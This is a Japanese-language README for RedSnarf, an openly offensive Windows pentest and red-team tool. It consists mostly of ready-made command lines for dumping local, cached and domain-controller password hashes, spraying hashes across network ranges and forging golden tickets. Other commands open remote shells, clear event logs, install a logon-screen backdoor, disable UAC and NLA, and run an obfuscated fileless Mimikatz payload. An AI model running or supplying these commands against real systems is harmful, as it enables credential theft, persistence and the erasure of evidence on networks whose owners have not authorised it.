
RedSnarfは、Windows環境向けのペンテスト/レッドチーム向けツールです。
______ .____________ _____
\______ \ ____ __| _/ _____/ ____ _____ ________/ ____\
| _// __ \ / __ |\_____ \ / \\__ \\_ __ \ __\
| | \ ___// /_/ |/ \ | \/ __ \| | \/| |
|____|_ /\___ >____ /_______ /___| (____ /__| |__|
\/ \/ \/ \/ \/ \/
[email protected]
@redsnarf
RedSnarf は、Ed Williams によるペネトレーションテスト / レッドチームツールであり、OpSec セーフな手法を用いて Windows ワークステーション、サーバー、ドメインコントローラからハッシュと認証情報を取得します。
YouTube チャンネルで動画をご覧ください
https://www.youtube.com/channel/UCDGWRxpHo6d8y6qIeMAXnxQ
RedSnarf の機能は以下の通りです:
• ローカル SAM ハッシュの取得
• 昇格されたシステム権限で実行中のユーザーの列挙と、対応する LSA シークレットパスワードの取得
• MS キャッシュ認証情報の取得
• パス・ザ・ハッシュ
• 脆弱で推測可能なユーザー名/パスワードの組み合わせを迅速に特定(デフォルトは administrator/Password01)
• 範囲全体にわたるハッシュの取得機能
• ハッシュスプレー –
credsfile は pwdump、fgdump、プレーンテキストのユーザー名とパスワード(スペース区切り)の混合を受け付けます
• Mimikatz によるオフライン解析のための lsass ダンプ
• NTDSUtil を使用したドメインコントローラーハッシュのダンプと、ローカル解析のための NTDS.dit 取得
• drsuapi メソッドを使用したドメインコントローラーハッシュのダンプ
• ドメインコントローラーから Scripts および Policies フォルダーを取得し、「password」と「administrator」を解析
• cpassword ハッシュの復号化機能
• リモートマシン上でシェルを起動する機能
• イベントログの消去機能(アプリケーション、セキュリティ、セットアップ、システム)(内部バージョン限定)
• 結果はホストごとに保存され、解析可能
• リモートマシンでの RDP の有効化/無効化
• リモートマシンでの RDP ポートの 3389 から 443 への変更
• リモートマシンでの NLA の有効化/無効化
• リモートマシン上でのユーザーログイン場所の特定
• Windows ログオン画面のバックドア
• リモートマシンでの UAC の有効化/無効化
• ステルス mimikatz の追加
• ドメインハッシュの解析
• アカウントが有効か無効かを判別する機能
• リモートログオン中のアクティブユーザーのデスクトップのスクリーンショット取得
• リモートログオン中のアクティブユーザーのデスクトップの録画
• Windows CPassword の復号化
• WinSCP パスワードの復号化
• ユーザー SPN の取得
• リモートマシンからの WIFI パスワードの取得
要件:
Impacket v0.9.16-dev - https://github.com/CoreSecurity/impacket.git
CredDump7 - https://github.com/Neohapsis/creddump7
Lsass 取得には procdump を使用 - https://technet.microsoft.com/en-us/sysinternals/dd996900.aspx
Netaddr (0.7.12) - pip install netaddr
Termcolor (1.1.0) - pip install termcolor
iconv - Mimikatz 情報のローカル解析に使用
ヘルプの表示
./redsnarf.py -h
./redsnarf.py --help
脆弱なローカル認証情報を使用して単一マシンからローカルハッシュを取得し、セキュリティイベントログを消去する
./redsnarf.py -H ip=10.0.0.50 -uC security
脆弱なローカル認証情報を使用して単一マシンからローカルハッシュを取得し、アプリケーションイベントログを消去する
./redsnarf.py -H ip=10.0.0.50 -uC application
ローカル管理者認証情報を使用して単一マシンからローカルハッシュを取得する
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d .
ドメイン管理者認証情報を使用して単一マシンからローカルハッシュを取得する
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com
ローカル管理者認証情報を使用してネットワーク範囲全体からハッシュを取得する
./redsnarf.py -H range=10.0.0.1/24 -u administrator -p Password01 -d .
ドメイン管理者認証情報を使用してネットワーク範囲全体からハッシュを取得する
./redsnarf.py -H range=10.0.0.1/24 -u administrator -p Password01 -d yourdomain.com
ドメイン管理者認証情報を使用してネットワーク範囲全体からハッシュを取得する
./redsnarf.py -H file=targets.txt -u administrator -p Password01 -d yourdomain.com
ネットワーク範囲全体にハッシュをスプレーする
./redsnarf.py -H range=10.0.0.1/24 -hS credsfile -d .
ネットワーク範囲全体からハッシュを取得する(ドメインログイン)
./redsnarf.py -H range=10.0.0.1/24 -hS credsfile -d yourdomain.com
認証情報を迅速に確認する
./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password1 -d . -cQ y
ユーザー名を含むファイル(-hS)と汎用パスワード(-hP)を迅速に確認する
./redsnarf.py -H ip=10.0.0.1 -hS /path/to/usernames.txt -hP PasswordToTry -cQ y
drsuapi メソッドを使用してハッシュを取得する(最速)
このメソッドはオプションのフラグ -q y をサポートしており、LDAP にクエリを実行してアカウントがアクティブか無効かを出力します
./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -hI y (-hQ y)
NTDSUtil を使用してハッシュを取得する
このメソッドはオプションのフラグ -q y をサポートしており、LDAP にクエリを実行してアカウントがアクティブか無効かを出力します
./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -hN y (-hQ y)
ゴールデンチケットの生成
./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -hT y
ドメインコントローラーから Policies および Scripts フォルダーをコピーし、password と administrator を解析する
./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -uP y
Cpassword を復号化する
./redsnarf.py -uG cpassword
ユーザーの検索 – ライブ
./redsnarf.py -H range=10.0.0.1/24 -u administrator -p Password01 -d yourdomain.com -eL user.name
ユーザーの検索 – オフライン(事前にダウンロードした情報を検索)
./redsnarf.py -H range=10.0.0.1/24 -u administrator -p Password01 -d yourdomain.com -eO user.name
NT AUTHORITY\SYSTEM タスクリストの表示
./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -eT y
リモートログオン中のアクティブユーザーのデスクトップのスクリーンショットを取得
./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -eS y
ローカル管理者認証情報を使用してマシン上でシェルを起動する
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d . -uD y
ドメイン管理者認証情報を使用してマシン上でシェルを起動する
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -uD y
ローカル管理者認証情報を使用してマシンから lsass のコピーを取得し、Mimikatz でオフライン解析する
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d . -hL y
ステルス mimikatz を実行します。このオプションは、PowerShell スクリプトを提供する Web サーバーを起動します。スクリプトは難読化およびエンコードされてマシン側で処理され、データはディスクに触れません。認証情報は読みやすい形式で grep され、画面にエコーバックされます。
./redsnarf.py -H ip=192.168.198.162 -u administrator -p Password01 -cS y -hR y
カスタムコマンドの実行
例1
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -uX 'net user'
例2 – 二重引用符は \ でエスケープする必要があります
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -uX 'dsquery group -name "domain admins" | dsget group -members -expand'
ローカルアクセストークンポリシー
lat.bat というバッチファイルを作成します。これをリモートマシンにコピー&ペーストして実行すると、レジストリを変更し、ローカルアクセストークンポリシーの設定を有効または無効にします。
./redsnarf.py -rL y
Wdigest
ドメイン管理者認証情報を使用してマシン上で UseLogonCredential Wdigest レジストリ値を有効にする
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rW e
ドメイン管理者認証情報を使用してマシン上で UseLogonCredential Wdigest レジストリ値を無効にする
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rW d
ドメイン管理者認証情報を使用してマシン上で UseLogonCredential Wdigest レジストリ値をクエリする
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rW q
UAC
ドメイン管理者認証情報を使用してマシン上で UAC レジストリ値を有効にする
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rU e
ドメイン管理者認証情報を使用してマシン上で UAC レジストリ値を無効にする
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rU d
ドメイン管理者認証情報を使用してマシン上で UAC レジストリ値をクエリする
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rU q
バックドア – Windows 画面のバックドア – 左 Shift + 左 Alt + Print Screen で起動
ドメイン管理者認証情報を使用してマシン上でバックドアレジストリ値を有効にする
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rB e
ドメイン管理者認証情報を使用してマシン上でバックドアレジストリ値を無効にする
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rB d
ドメイン管理者認証情報を使用してマシン上でバックドアレジストリ値をクエリする
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rB q
自動ログオン
ドメイン管理者認証情報を使用してマシン上で Windows 自動ログオンレジストリ値を有効にする
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rA e
ドメイン管理者認証情報を使用してマシン上で Windows 自動ログオンレジストリ値を無効にする
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rA d
ドメイン管理者認証情報を使用してマシン上で Windows 自動ログオンレジストリ値をクエリする
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rA q
ドメイン管理者認証情報を使用してリモートマシンのユーザーセッションをロックする
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -uL y
ドメイン管理者認証情報を使用してマシン上で RDP を有効にする
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rR e
ドメイン管理者認証情報を使用してマシン上で RDP を無効にする
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rR d
ドメイン管理者認証情報を使用してマシン上で RDP ステータスをクエリする
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rR q
RDP ポートを 3389 から 443 に変更する – ドメイン管理者認証情報を使用してマシン上で RDP ポートを 443 に変更する
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rT e
ドメイン管理者認証情報を使用してマシン上で RDP ポートをデフォルトの 3389 に変更する
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rT d
ドメイン管理者認証情報を使用してマシン上で RDP ポート値をクエリする
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rT q
Mimikatz でマルチ RDP を有効にする
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -uR y
ドメイン管理者認証情報を使用してマシン上で RDP SingleSessionPerUser を有効にする
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rM e
ドメイン管理者認証情報を使用してマシン上で RDP SingleSessionPerUser を無効にする
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rM d
ドメイン管理者認証情報を使用してマシン上で RDP SingleSessionPerUser のステータスをクエリする
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rM q
ドメイン管理者認証情報を使用してマシン上で NLA を有効にする
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rN e
ドメイン管理者認証情報を使用してマシン上で NLA を無効にする
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rN d
ドメイン管理者認証情報を使用してマシン上で NLA ステータスをクエリする
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rN q